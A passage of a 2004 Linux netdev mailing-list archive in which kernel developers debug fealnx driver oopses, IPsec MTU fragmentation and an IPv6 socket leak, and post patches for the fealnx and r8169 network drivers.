netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 53 Lines: 4 Both 2.4.x and 2.6.x variants applied. Good catch. From vda@port.imtp.ilyichevsk.odessa.ua Mon Mar 29 00:01:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 00:01:09 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T80cKO031196 for ; Mon, 29 Mar 2004 00:00:51 -0800 Received: (qmail 8283 invoked by alias); 29 Mar 2004 07:52:02 -0000 Received: from unknown (HELO vda) (172.16.42.177) by 0 (172.16.22.3) with ESMTP; 29 Mar 2004 07:52:02 -0000 Content-Type: text/plain; charset="iso-8859-1" From: Denis Vlasenko To: Andreas Henriksson Subject: Re: fealnx oopses Date: Mon, 29 Mar 2004 09:52:01 +0200 X-Mailer: KMail [version 1.4] Cc: Francois Romieu , Jeff Garzik , Andreas Henriksson , netdev@oss.sgi.com References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403282219.56799.vda@port.imtp.ilyichevsk.odessa.ua> <20040328232707.GA17524@scream.fjortis.info> In-Reply-To: <20040328232707.GA17524@scream.fjortis.info> MIME-Version: 1.0 Message-Id: <200403290952.01687.vda@port.imtp.ilyichevsk.odessa.ua> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i2T80cKO031196 X-archive-position: 4311 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 890 Lines: 22 On Monday 29 March 2004 01:27, Andreas Henriksson wrote: > On Sun, Mar 28, 2004 at 10:19:56PM +0200, Denis Vlasenko wrote: > > I tested on 2.4.25, patch applied with minimal manual correction > > in last hunk (rediffed patch attached). > > I tested on 2.6.5-rc2-bk7 ... with both jeffs (which was exactly the > same patch I had except for removing the return at the end of the void > function) and francis patches... > > Btw. I haven't seen any panics at all because of rx, just tx, and that > problem seems solved. But I thought testing additional patches that > is supposed to cure other problems won't hurt me.. ;) Thank you, you verified that _I_ did not caused it. (I could, I was a bit tired at the time) You need to make your box very RAM starved for this. I boot with mem=16M and load all iptables NAT/conntrack modules to make network processing more CPU/RAM intensive. -- vda From netdev1080549435@mail.v.sessink.nl Mon Mar 29 00:37:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 00:37:47 -0800 (PST) Received: from sahara.openoffice.nl (openoffice.demon.nl [212.238.150.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2T8bgKO003088 for ; Mon, 29 Mar 2004 00:37:45 -0800 Received: by sahara.openoffice.nl (Postfix, from userid 1001) id BF5C74015; Mon, 29 Mar 2004 10:37:38 +0200 (CEST) Date: Mon, 29 Mar 2004 10:37:38 +0200 From: Valentijn Sessink To: Linux networking Subject: IPsec 2.6 fragmentation issue(s) Message-ID: <20040329083738.GA14167@openoffice.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 4312 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: netdev1080549435@mail.v.sessink.nl Precedence: bulk X-list: netdev Content-Length: 1533 Lines: 40 Hello list, I'm having various problems with 2.6 native IPsec and fragmentation. Most notably, the following - between host valentijn (2.6.1) and host21 there's a Wifi IPsec tunnel: valentijn:~# ping -s 1435 host21 PING host21.wireless.palmgracht.nl (10.15.67.21): 1435 data bytes ping: sendto: Message too long ping: wrote host21.wireless.palmgracht.nl 1443 chars, ret=-1 ping: sendto: Message too long ping: wrote host21.wireless.palmgracht.nl 1443 chars, ret=-1 Resetting the MTU on the network interface helps: valentijn:~# ifconfig eth1 mtu 1400 valentijn:~# ping -s 1417 host21 PING host21.wireless.palmgracht.nl (10.15.67.21): 1417 data bytes 1425 bytes from 10.15.67.21: icmp_seq=0 ttl=64 time=93.0 ms 1425 bytes from 10.15.67.21: icmp_seq=1 ttl=64 time=78.2 ms Then, resetting it to 1500 again does this: valentijn:~# ifconfig eth1 mtu 1500 valentijn:~# ping -s 1435 host21 PING host21.wireless.palmgracht.nl (10.15.67.21): 1435 data bytes ping: sendto: Message too long ping: wrote host21.wireless.palmgracht.nl 1443 chars, ret=-1 1443 bytes from 10.15.67.21: icmp_seq=1 ttl=64 time=89.0 ms 1443 bytes from 10.15.67.21: icmp_seq=2 ttl=64 time=79.9 ms These MTU difficulties seem to propagate to a whole set of tunneling difficulties, none of them clear enough to mention here, as my other side is still a 2.4.24-with-IPsec backport. Best regards, Valentijn -- http://www.openoffice.nl/ Open Office - Linux Office Solutions Valentijn Sessink valentyn+sessink@nospam.openoffice.nl From linux-kernel-owner@vger.kernel.org Mon Mar 29 08:00:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 08:00:44 -0800 (PST) Received: from 2003SERVER.sbs2003.local (host213-123-250-229.in-addr.btopenworld.com [213.123.250.229]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TG09KQ024158 for ; Mon, 29 Mar 2004 08:00:39 -0800 Received: from mail pickup service by 2003SERVER.sbs2003.local with Microsoft SMTPSVC; Mon, 29 Mar 2004 16:43:51 +0100 thread-index: AcQVpKG0KQGD67pETgW2dq8QlxMJTQ== X-From_: linux-kernel-owner+paul=40sumlocktest.fsnet.co.uk@vger.kernel.org Mon Jan 05 04:55:54 2004 Envelope-to: paul@sumlocktest.fsnet.co.uk Delivery-date: Mon, 05 Jan 2004 04:55:54 +0000 Message-ID: <02aa01c415a4$a1c9e700$d100000a@sbs2003.local> Date: Mon, 29 Mar 2004 16:43:50 +0100 To: Content-Class: urn:content-classes:message Cc: , Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.0 Subject: Re: (usagi-core 16947) Re: 2.6.0: something is leaking memory From: "=?iso-2022-jp?B?WU9TSElGVUpJIEhpZGVha2kgLyAbJEI1SEYjMVFMQBsoQg==?=" In-Reply-To: References: Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) MIME-Version: 1.0 Content-Type: Text/Plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-OriginalArrivalTime: 29 Mar 2004 15:43:51.0187 (UTC) FILETIME=[A21D5E30:01C415A4] X-archive-position: 4313 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 3334 Lines: 65 In article (at Sun, 4 Jan 2004 21:31:26 +0000 (UTC)), Erik Hensema says: > > Can you do /proc/slabinfo too? > > Sure, this is of course my currently running system, 4 days, 9:53 > uptime. > > slabinfo - version: 2.0 > # name : tunables : slabdata : > tcp6_sock 19729 19732 1024 4 1 : tunables 54 27 0 : slabdata 4933 4933 0 : > > Clearly the memory leak isn't in the page cache, so the most likely source > > is network buffers, and most likely in iptables connection tracking or > > similar. If you actually _use_ IPv6, then that is also more likely to have > > leaks just due to less testing. > > I do use IPv6. I've got three active tunnels and native IPv6 over > ethernet. > > I've always had problems with nscd leaking filedescriptors, all > IPv6 connections to my LDAP server. This started after upgrading > suse 8.0 to 8.2 (I think the problem is in nss_ldap). > I'm restarting nscd using a cronjob every night now. Output of > netstat --inet6 -avpn is below. All sockets in CLOSE_WAIT are > leaked and will go away after a nscd restart. How about /proc/slabinfo just after restarting nss_ldap? > The server isn't very critical, but I do need it. I'm willing to > try some patches (or do an upgrade to -mm), but nothing to wild. > > netstat --inet6 -avpn > > Active Internet connections (servers and established) > Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name > tcp 0 0 :::22 :::* LISTEN 1208/sshd > tcp 0 0 :::119 :::* LISTEN 1364/innd > tcp 0 0 :::25 :::* LISTEN 1433/sendmail: acce > tcp 0 0 :::953 :::* LISTEN 1175/named > tcp 0 0 ::1:6010 :::* LISTEN 19900/sshd > tcp 0 0 ::1:6011 :::* LISTEN 20150/sshd > tcp 1 0 ::1:50565 2001:888:10a1::1:389 CLOSE_WAIT 26536/nscd > tcp 1 0 ::1:50224 2001:888:10a1::1:389 CLOSE_WAIT 26536/nscd > tcp 0 0 2001:888:10a1::1:389 ::1:55936 ESTABLISHED 1145/slapd > tcp 1 0 ::1:50343 2001:888:10a1::1:389 CLOSE_WAIT 26536/nscd > tcp 1 0 ::1:50988 2001:888:10a1::1:389 CLOSE_WAIT 26536/nscd : There're too many sockets in CLOSE_WAIT, but the number is very different from "tcp6_sock." And, what is happened when you use ipv4 in your nscd? -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From linux-kernel-owner@vger.kernel.org Mon Mar 29 08:21:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 08:21:36 -0800 (PST) Received: from 2003SERVER.sbs2003.local (host213-123-250-229.in-addr.btopenworld.com [213.123.250.229]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TGLEKQ028684 for ; Mon, 29 Mar 2004 08:21:31 -0800 Received: from mail pickup service by 2003SERVER.sbs2003.local with Microsoft SMTPSVC; Mon, 29 Mar 2004 16:46:19 +0100 thread-index: AcQVpPi/6jl7RJgWSniqg3U2VyU1pw== X-From_: linux-kernel-owner+paul=40sumlocktest.fsnet.co.uk@vger.kernel.org Tue Jan 06 04:01:13 2004 Envelope-to: paul@sumlocktest.fsnet.co.uk Delivery-date: Tue, 06 Jan 2004 04:01:13 +0000 Message-ID: <047401c415a4$f8bf1a30$d100000a@sbs2003.local> Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.0 Date: Mon, 29 Mar 2004 16:46:16 +0100 From: "David S. Miller" To: Cc: , , Subject: Re: Problem with dev_kfree_skb_any() in 2.6.0 In-Reply-To: <20040102025807.GB3851@gtf.org> References: <1072567054.4112.14.camel@gaston><20031227170755.4990419b.davem@redhat.com><3FF0FA6A.8000904@pobox.com><20031229205157.4c631f28.davem@redhat.com><20031230051519.GA6916@gtf.org><20031229220122.30078657.davem@redhat.com><3FF11745.4060705@pobox.com><20031229221345.31c8c763.davem@redhat.com><3FF1B939.1090108@pobox.com><20040101124218.258e8b73.davem@redhat.com><20040102025807.GB3851@gtf.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Precedence: bulk X-Mailing-List: linux-kernel@vger.kernel.org X-OriginalArrivalTime: 29 Mar 2004 15:46:19.0390 (UTC) FILETIME=[FA7359E0:01C415A4] X-archive-position: 4314 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1224 Lines: 29 On Thu, 1 Jan 2004 21:58:07 -0500 Jeff Garzik wrote: > On Thu, Jan 01, 2004 at 12:42:18PM -0800, David S. Miller wrote: > > Though, is there any particular reason you don't like adding a > > "|| irqs_disabled()" check to the if statement instead? > > I prefer that solution better actually. > > Yep, in fact when I wrote the above message, I came across a couple when I > was pondering... > * the destructor runs in a more predictable context. > * given the problem that started this thread, the 'if' test is a > potentially problematic area. Why not eliminate all possibility that > this problem will occur again? The way I see this, dev_kfree_skb_any() is not used in any performance critical path, so at worst during device shutdown, reset, or power-down, TX queue packet freeing work could be delayed by up to one jiffie. Therefore I've put the "|| irqs_disabled()" version of the fix into my tree. Thanks for working this out with me Jeff :) - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From gem@scream.fjortis.info Mon Mar 29 08:59:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 08:59:38 -0800 (PST) Received: from scream.fjortis.info (1-1-1-9a.ghn.gbg.bostream.se [82.182.69.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TGxWKO030894 for ; Mon, 29 Mar 2004 08:59:33 -0800 Received: from gem by scream.fjortis.info with local (Exim 4.30) id 1B808u-0007ZP-3N; Mon, 29 Mar 2004 19:01:44 +0200 Date: Mon, 29 Mar 2004 19:01:43 +0200 From: Andreas Henriksson To: Francois Romieu Cc: Andreas Henriksson , Denis Vlasenko , Jeff Garzik , netdev@oss.sgi.com Subject: Re: fealnx oopses Message-ID: <20040329170143.GA28822@scream.fjortis.info> References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <200403272328.51291.vda@port.imtp.ilyichevsk.odessa.ua> <20040328005533.A6117@electric-eye.fr.zoreil.com> <200403282219.56799.vda@port.imtp.ilyichevsk.odessa.ua> <20040328232707.GA17524@scream.fjortis.info> <20040329013834.B24996@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040329013834.B24996@electric-eye.fr.zoreil.com> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 4315 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andreas@fjortis.info Precedence: bulk X-list: netdev Content-Length: 7477 Lines: 249 On Mon, Mar 29, 2004 at 01:38:34AM +0200, Francois Romieu wrote: > > Oops, I forgot to initialize np->lack_rxbuf correctly. > > If you have some time to spend, you can change in netdev_rx: > pci_unmap_single(np->pci_dev, > np->cur_rx->buffer, > np->rx_buf_sz, > PCI_DMA_FROMDEVICE); > skb_put(skb = np->cur_rx->skbuff, pkt_len); > np->cur_rx->skbuff = NULL; > --np->really_rx_count; > into: > pci_unmap_single(np->pci_dev, > np->cur_rx->buffer, > np->rx_buf_sz, > PCI_DMA_FROMDEVICE); > skb_put(skb = np->cur_rx->skbuff, pkt_len); > np->cur_rx->skbuff = NULL; > if (!np->lack_rxbuf) <<< > np->lack_rxbuf = np->cur_rx; <<< > np->cur_rx->skbuff = NULL; > --np->really_rx_count; > I tried this one: > It may be simpler/safer to turn (init_ring): > np->lack_rxbuf = NULL; > into > np->lack_rxbuf = np->rx_ring; > > I'll check the whole thing tomorrow. It's time to sleep now. > And everything seems to work better then ever before.. :) I transfered 2 GB of data over my lan and didn't even get a single "transmit timed out" or anything. I've attached a patch with is what I'm using at the moment that includes both Jeff's and Francois changes below if anyone else wants to test it... (Also available at http://fjortis.info/pub/panic/fealnx/fealnx-jgarzik-fromieu.patch ... ) > Thanks for your report. Thanks for your patch and useful suggestions.. :) > > -- > Ueimor Regards, Andreas Henriksson --- org-fealnx.c 2004-03-28 18:30:37.000000000 +0200 +++ fealnx.c 2004-03-29 18:27:20.000000000 +0200 @@ -1134,15 +1134,17 @@ static void allocate_rx_buffers(struct n struct sk_buff *skb; skb = dev_alloc_skb(np->rx_buf_sz); - np->lack_rxbuf->skbuff = skb; - if (skb == NULL) break; /* Better luck next round. */ + while (np->lack_rxbuf->skbuff) + np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->skbuff = skb; + skb->dev = dev; /* Mark as being used by this device. */ np->lack_rxbuf->buffer = pci_map_single(np->pci_dev, skb->tail, np->rx_buf_sz, PCI_DMA_FROMDEVICE); - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; + np->lack_rxbuf->status = RXOWN; ++np->really_rx_count; } } @@ -1251,7 +1253,7 @@ static void init_ring(struct net_device /* initialize rx variables */ np->rx_buf_sz = (dev->mtu <= 1500 ? PKT_BUF_SZ : dev->mtu + 32); np->cur_rx = &np->rx_ring[0]; - np->lack_rxbuf = NULL; + np->lack_rxbuf = np->rx_ring; np->really_rx_count = 0; /* initial rx descriptors. */ @@ -1303,14 +1305,15 @@ static void init_ring(struct net_device /* for the last tx descriptor */ np->tx_ring[i - 1].next_desc = np->tx_ring_dma; np->tx_ring[i - 1].next_desc_logical = &np->tx_ring[0]; - - return; } static int start_tx(struct sk_buff *skb, struct net_device *dev) { struct netdev_private *np = dev->priv; + unsigned long flags; + + spin_lock_irqsave(&np->lock, flags); np->cur_tx_copy->skbuff = skb; @@ -1340,7 +1343,7 @@ static int start_tx(struct sk_buff *skb, np->cur_tx_copy->control |= (BPT << TBSShift); /* buffer size */ /* for the last descriptor */ - next = (struct fealnx *) np->cur_tx_copy.next_desc_logical; + next = np->cur_tx_copy.next_desc_logical; next->skbuff = skb; next->control = TXIC | TXLD | CRCEnable | PADEnable; next->control |= (skb->len << PKTSShift); /* pkt size */ @@ -1377,36 +1380,26 @@ static int start_tx(struct sk_buff *skb, writel(0, dev->base_addr + TXPDR); dev->trans_start = jiffies; + spin_unlock_irqrestore(&np->lock, flags); return 0; } - -void free_one_rx_descriptor(struct netdev_private *np) -{ - if (np->really_rx_count == RX_RING_SIZE) - np->cur_rx->status = RXOWN; - else { - np->lack_rxbuf->skbuff = np->cur_rx->skbuff; - np->lack_rxbuf->buffer = np->cur_rx->buffer; - np->lack_rxbuf->status = RXOWN; - ++np->really_rx_count; - np->lack_rxbuf = np->lack_rxbuf->next_desc_logical; - } - np->cur_rx = np->cur_rx->next_desc_logical; -} - - void reset_rx_descriptors(struct net_device *dev) { struct netdev_private *np = dev->priv; + struct fealnx_desc *cur = np->cur_rx; + int i; stop_nic_rx(dev->base_addr, np->crvalue); - while (!(np->cur_rx->status & RXOWN)) - free_one_rx_descriptor(np); - allocate_rx_buffers(dev); + for (i = 0; i < RX_RING_SIZE; i++) { + if (cur->skbuff) + cur->status = RXOWN; + cur = cur->next_desc_logical; + } + writel(np->rx_ring_dma + (np->cur_rx - np->rx_ring), dev->base_addr + RXLBA); writel(np->crvalue, dev->base_addr + TCRRCR); @@ -1423,6 +1416,8 @@ static irqreturn_t intr_handler(int irq, unsigned int num_tx = 0; int handled = 0; + spin_lock(&np->lock); + writel(0, dev->base_addr + IMR); ioaddr = dev->base_addr; @@ -1565,6 +1560,8 @@ static irqreturn_t intr_handler(int irq, writel(np->imrvalue, ioaddr + IMR); + spin_unlock(&np->lock); + return IRQ_RETVAL(handled); } @@ -1576,7 +1573,7 @@ static int netdev_rx(struct net_device * struct netdev_private *np = dev->priv; /* If EOP is set on the next entry, it's a new packet. Send it up. */ - while (!(np->cur_rx->status & RXOWN)) { + while (!(np->cur_rx->status & RXOWN) && np->cur_rx->skbuff) { s32 rx_status = np->cur_rx->status; if (np->really_rx_count == 0) @@ -1628,8 +1625,15 @@ static int netdev_rx(struct net_device * np->stats.rx_length_errors++; /* free all rx descriptors related this long pkt */ - for (i = 0; i < desno; ++i) - free_one_rx_descriptor(np); + for (i = 0; i < desno; ++i) { + if (!np->cur_rx->skbuff) { + printk(KERN_DEBUG + "%s: I'm scared\n", dev->name); + break; + } + np->cur_rx->status = RXOWN; + np->cur_rx = np->cur_rx->next_desc_logical; + } continue; } else { /* something error, need to reset this chip */ reset_rx_descriptors(dev); @@ -1679,8 +1683,6 @@ static int netdev_rx(struct net_device * PCI_DMA_FROMDEVICE); skb_put(skb = np->cur_rx->skbuff, pkt_len); np->cur_rx->skbuff = NULL; - if (np->really_rx_count == RX_RING_SIZE) - np->lack_rxbuf = np->cur_rx; --np->really_rx_count; } skb->protocol = eth_type_trans(skb, dev); @@ -1689,25 +1691,7 @@ static int netdev_rx(struct net_device * np->stats.rx_packets++; np->stats.rx_bytes += pkt_len; } - - if (np->cur_rx->skbuff == NULL) { - struct sk_buff *skb; - - skb = dev_alloc_skb(np->rx_buf_sz); - - if (skb != NULL) { - skb->dev = dev; /* Mark as being used by this device. */ - np->cur_rx->buffer = pci_map_single(np->pci_dev, - skb->tail, - np->rx_buf_sz, - PCI_DMA_FROMDEVICE); - np->cur_rx->skbuff = skb; - ++np->really_rx_count; - } - } - - if (np->cur_rx->skbuff != NULL) - free_one_rx_descriptor(np); + np->cur_rx = np->cur_rx->next_desc_logical; } /* end of while loop */ /* allocate skb for rx buffers */ From romieu@fr.zoreil.com Mon Mar 29 09:37:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 09:37:21 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2THbGKO002627 for ; Mon, 29 Mar 2004 09:37:17 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2THa4gf005410; Mon, 29 Mar 2004 19:36:04 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2THa4Ki005409; Mon, 29 Mar 2004 19:36:04 +0200 Date: Mon, 29 Mar 2004 19:36:04 +0200 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [patch 0/4] 2.6.5-rc2-mm5 - r8169 queue Message-ID: <20040329193604.A4744@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 4316 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 600 Lines: 18 There are a few (hopefully) harmless things in the local queue that I'd appreciate to go mainline before the second round of r8169 changes. The patches are diffed against 2.6.5-rc2-mm5 and should apply cleanly to the -netdev serie. - r8169-ethtool-introduction.patch - r8169-missing-static.patch - r8169-maintainer.patch - r8169-dma-api-update.patch Despite its limited performance, #3/4 does not work too bad. The patch I provided today on l-k includes a small change which could improve performance. If Daniel Egger is satisfied with it, a patch for the adequate changes will follow. -- Ueimor From romieu@fr.zoreil.com Mon Mar 29 09:37:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 09:37:21 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2THbGKO002628 for ; Mon, 29 Mar 2004 09:37:17 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2THbBgf005415; Mon, 29 Mar 2004 19:37:11 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2THbBo8005414; Mon, 29 Mar 2004 19:37:11 +0200 Date: Mon, 29 Mar 2004 19:37:10 +0200 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: [patch 1/4] 2.6.5-rc2-mm5 - r8169 queue Message-ID: <20040329193710.A5411@electric-eye.fr.zoreil.com> References: <20040329193604.A4744@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040329193604.A4744@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Mon, Mar 29, 2004 at 07:36:04PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4317 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1526 Lines: 50 ethtool driver info (Krishnakumar R. ). drivers/net/r8169.c | 16 ++++++++++++++++ 1 files changed, 16 insertions(+) diff -puN drivers/net/r8169.c~r8169-ethtool-introduction drivers/net/r8169.c --- linux-2.6.5-rc2-mm5/drivers/net/r8169.c~r8169-ethtool-introduction 2004-03-29 18:42:10.000000000 +0200 +++ linux-2.6.5-rc2-mm5-fr/drivers/net/r8169.c 2004-03-29 18:42:10.000000000 +0200 @@ -40,6 +40,7 @@ VERSION 1.2 <2002/11/30> #include #include #include +#include #include #include @@ -382,6 +383,20 @@ mdio_read(void *ioaddr, int RegAddr) return value; } +static void rtl8169_get_drvinfo(struct net_device *dev, + struct ethtool_drvinfo *info) +{ + struct rtl8169_private *tp = dev->priv; + + strcpy(info->driver, RTL8169_DRIVER_NAME); + strcpy(info->version, RTL8169_VERSION); + strcpy(info->bus_info, pci_name(tp->pci_dev)); +} + +static struct ethtool_ops rtl8169_ethtool_ops = { + .get_drvinfo = rtl8169_get_drvinfo, +}; + static void rtl8169_write_gmii_reg_bit(void *ioaddr, int reg, int bitnum, int bitval) { @@ -793,6 +808,7 @@ rtl8169_init_one(struct pci_dev *pdev, c dev->open = rtl8169_open; dev->hard_start_xmit = rtl8169_start_xmit; dev->get_stats = rtl8169_get_stats; + dev->ethtool_ops = &rtl8169_ethtool_ops; dev->stop = rtl8169_close; dev->tx_timeout = rtl8169_tx_timeout; dev->set_multicast_list = rtl8169_set_rx_mode; _ From romieu@fr.zoreil.com Mon Mar 29 09:41:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 09:41:20 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2THfGKO003337 for ; Mon, 29 Mar 2004 09:41:17 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2THcVgf005452; Mon, 29 Mar 2004 19:38:31 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2THcV5B005451; Mon, 29 Mar 2004 19:38:31 +0200 Date: Mon, 29 Mar 2004 19:38:31 +0200 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [patch 3/4] 2.6.5-rc2-mm5 - r8169 queue Message-ID: <20040329193831.C5411@electric-eye.fr.zoreil.com> References: <20040329193604.A4744@electric-eye.fr.zoreil.com> <20040329193710.A5411@electric-eye.fr.zoreil.com> <20040329193747.B5411@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040329193747.B5411@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Mon, Mar 29, 2004 at 07:37:47PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4318 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 645 Lines: 24 MAINTAINER entry for the r8169 driver. MAINTAINERS | 6 ++++++ 1 files changed, 6 insertions(+) diff -puN MAINTAINERS~r8169-maintainer MAINTAINERS --- linux-2.6.5-rc2-mm5/MAINTAINERS~r8169-maintainer 2004-03-29 18:58:06.000000000 +0200 +++ linux-2.6.5-rc2-mm5-fr/MAINTAINERS 2004-03-29 18:58:06.000000000 +0200 @@ -113,6 +113,12 @@ M: jgarzik@pobox.com W: http://sourceforge.net/projects/gkernel/ S: Maintained +8169 10/100/1000 GIGABIT ETHERNET DRIVER +P: Francois Romieu +M: romieu@fr.zoreil.com +L: netdev@oss.sgi.com +S: Maintained + 8250/16?50 (AND CLONE UARTS) SERIAL DRIVER P: Russell King M: rmk+serial@arm.linux.org.uk _ From romieu@fr.zoreil.com Mon Mar 29 09:41:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 09:41:28 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2THfGKO003338 for ; Mon, 29 Mar 2004 09:41:17 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2THblgf005448; Mon, 29 Mar 2004 19:37:47 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2THblY2005447; Mon, 29 Mar 2004 19:37:47 +0200 Date: Mon, 29 Mar 2004 19:37:47 +0200 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [patch 2/4] 2.6.5-rc2-mm5 - r8169 queue Message-ID: <20040329193747.B5411@electric-eye.fr.zoreil.com> References: <20040329193604.A4744@electric-eye.fr.zoreil.com> <20040329193710.A5411@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; 